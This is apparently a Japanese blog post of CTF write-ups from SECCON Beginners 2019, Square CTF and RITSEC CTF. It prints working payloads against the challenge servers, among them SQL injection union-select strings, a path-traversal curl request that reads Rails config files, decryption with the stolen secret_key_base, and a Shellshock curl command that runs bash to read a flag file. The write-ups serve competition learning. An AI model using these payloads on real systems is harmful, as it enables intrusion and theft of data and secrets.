SECCON Beginners CTF 2019 writeup
参加してました。
containers
foremostして出てきたpngの文字列を合わせるだけだった
最初と最後の文字列は切れてたけどどうせcと}だろうと思ってそのまま投げたら通ったので良かった
[warmup] Ramen
SQL injection。
union selectでinformation_schemaからtableとかcolumnとか探してたけどguessしていきなりflagでやっても良かった気がする
' or 1 union select 1,1 ; --
=> 列の数を確かめる
' or 1 union select table_name, column_name from information_schema.columns ; --
=> テーブル・カラム名を出す
' or 1 union select flag,1 from flag ; --
=> flag出す
ctf4b{a_simple_sql_injection_with_union_select}
katsudon
流行りのRailsの脆弱性かと思ってmessage_verifierで署名されたやつの複合の仕方とか調べたり色々やってたけど、Base64をデコードするだけであっさり出てしまって拍子抜けしてしまった。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
katsudon-okawari
okawariする前にやってた方法ですぐ解けて、しかもヒントが簡単になってたので良かった。
Acceptヘッダーに
curl http://katsudon.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/database.yml{{'
みたいにpath指定したらファイルを見放題なので、config/secret.ymlのsecret_key_baseを取って、
secret_key_base = "4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34" serial_code = "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==" msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm") p msg_encryptor.decrypt_and_verify(serial_code)
みたいな感じでdecryptできた
以下解けなかったやつ
- Himitsu
クローラのcookieを取れば良いこと、日付と時間(分)からハッシュが作られること、articleのtitleでfilterをバイパスしてxssが出来そうなことが分かってたのに解けなかった。悲しい。
- Secure Meyasubako
CSPのバイパスをすれば良いこと、CDNの古いAngularを使ったり、googleのjsonpでバイパス出来たりすることまで分かってたのに解けなかった。悲しい。
終わり 🙏
XSS Challenge writeup
暇なのでこちらをやってました
解法を公開しても良いとのことだったので、稚拙ですがwriteupを書きました。
現状出ている問題のみですが、追加され次第更新したいなと思います。
writeup
いくつか参加して簡単な問題だけ解いてました。
Square CTF
ratingがスゴかった…
dot-n-dash
メチャクチャ雑にデコード処理を書いた
function _decode(input) { let q = input.split(".").map(a=>a.length) let b = Array(Math.max.apply(null, q)).fill("0"); q.map(a=>{ b[a] = "1"; }) let s = b.reverse().join("") let res = "" for(let i=0;i<b.length/8;i++){ let bin = s.substr(i*8,7) res += String.fromCharCode(parseInt(bin, 2)) } return res; }
de-anonymization
メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub
RITSEC CTF
I am a Stegosaurus
pngcheckしておかしいところを直す
$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash root@9607f1955a31:/data# pngcheck -v stegosaurus.png File: stegosaurus.png (198269 bytes) chunk IHDR at offset 0x0000c, length 13 309 x 232 image, 24-bit RGB, non-interlaced CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca) ERRORS DETECTED in stegosaurus.png $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e 0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4 0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
Special Force
sqli
' or 1 = 1 ; -- '
What a cute dog!
shellshock
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats